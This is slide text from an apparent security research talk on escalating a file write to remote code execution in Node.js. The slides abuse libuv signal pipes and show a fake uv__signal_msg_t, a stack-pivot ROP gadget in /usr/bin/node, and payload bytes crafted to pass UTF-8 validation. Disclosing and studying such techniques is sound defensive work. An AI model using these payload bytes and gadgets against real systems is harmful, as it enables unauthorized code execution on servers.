0x00e3dbc8: 5c 41 5d 41 5e 41 5f 5d c3 1c 2e ff ff ff 80 ca
...

pivoting gadget
pop rsp; pop r13; pop r14; pop r15; pop rbp; ret

30 7f 61 00 00 00 00 00

✅
00 00 00 00
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30 7f 61 00 00 00 00 00

70 72 05 f0

Overcoming UTF-8 restrictions

uv__signal_msg_t

*handle

signum

uv_signal_s
...

*signal_cb

signum
...

/usr/bin/node
...
0x00617f90: c8 db e3 00 00 00 00 00 70 72 05 f0 ff 23 ff 24
...
0x00e3dbc8: 5c 41 5d 41 5e 41 5f 5d c3 1c 2e ff ff ff 80 ca
...

pivoting gadget
pop rsp; pop r13; pop r14; pop r15; pop rbp; ret
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Invalid UTF-8
sequence

Overcoming UTF-8 restrictions

uv__signal_msg_t

*handle

signum

uv_signal_s
...

*signal_cb

signum
...

/usr/bin/node
...
0x00617f90: c8 db e3 00 00 00 00 00 70 72 05 f0 ff 23 ff 24
...
0x00e3dbc8: 5c 41 5d 41 5e 41 5f 5d c3 1c 2e ff ff ff 80 ca
...

pivoting gadget
pop rsp; pop r13; pop r14; pop r15; pop rbp; ret❌

30 7f 61 00 00 00 00 00

70 72 05 f0
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Overcoming UTF-8 restrictions

https://sonarsource.github.io/utf8-visualizer/#
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Overcoming UTF-8 restrictions

https://sonarsource.github.io/utf8-visualizer/#
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Overcoming UTF-8 restrictions

❌
Invalid UTF-8

sequence

typedef struct {

  uv_signal_t* handle;

  int signum;

} uv__signal_msg_t;

30 7f 61 00 00 00 00 00

70 72 05 f0
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Overcoming UTF-8 restrictions

❌
Invalid UTF-8

sequence

typedef struct {

  uv_signal_t* handle;

  int signum;

  // 4 byte padding

} uv__signal_msg_t;

30 7f 61 00 00 00 00 00

70 72 05 f0 00 00 00 00
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✅

Overcoming UTF-8 restrictions
typedef struct {

  uv_signal_t* handle;

  int signum;

  // 4 byte padding

} uv__signal_msg_t;

https://sonarsource.github.io/utf8-visualizer/#

30 7f 61 00 00 00 00 00

70 72 05 f0 9f 90 94 00

💾
U+1F4BE
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Overcoming UTF-8 restrictions

be 7f 45 00 00 00 00 00

❌
Invalid UTF-8

sequence
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Overcoming UTF-8 restrictions

00 00 00 00 00 f0 9f 92

be 7f 45 00 00 00 00 00

pop gadget
make UTF-8 
parser happy

❌
Invalid UTF-8

sequence
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Overcoming UTF-8 restrictions

00 00 00 00 00 f0 9f 92

be 7f 45 00 00 00 00 00

pop gadget

✅ 💾
U+1F4BE
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30 7f 61 00 00 00 00 00

70 72 05 f0 9f 90 94 00

Overcoming UTF-8 restrictions

uv__signal_msg_t

*handle

signum

uv_signal_s
...

*signal_cb

signum
...

/usr/bin/node
...
0x00617f90: c8 db e3 00 00 00 00 00 70 72 05 f0 ff 23 ff 24
...
0x00e3dbc8: 5c 41 5d 41 5e 41 5f 5d c3 1c 2e ff ff ff 80 ca
...

pivoting gadget
pop rsp; pop r13; pop r14; pop r15; pop rbp; ret

💾
✅

✅

U+1F4BE



Demo
Read-Only File Write RCE
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Conclusion

● Everything is a file

○ Exposes uncommon attack surface for a file write

● File Write to RCE

○ Exploitation technique for Node.js

■ Everything read-only, low-priv user

○ Applicable to other software using libuv

○ More pipes!
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● Interested in this kind of content?

○ Follow us on     or      :

○ Check out our blog:

Thank you for listening!

@Sonar_Research / @scryh_

https://sonarsource.com/blog/tag/security/

https://www.sonarsource.com/blog/tag/security/

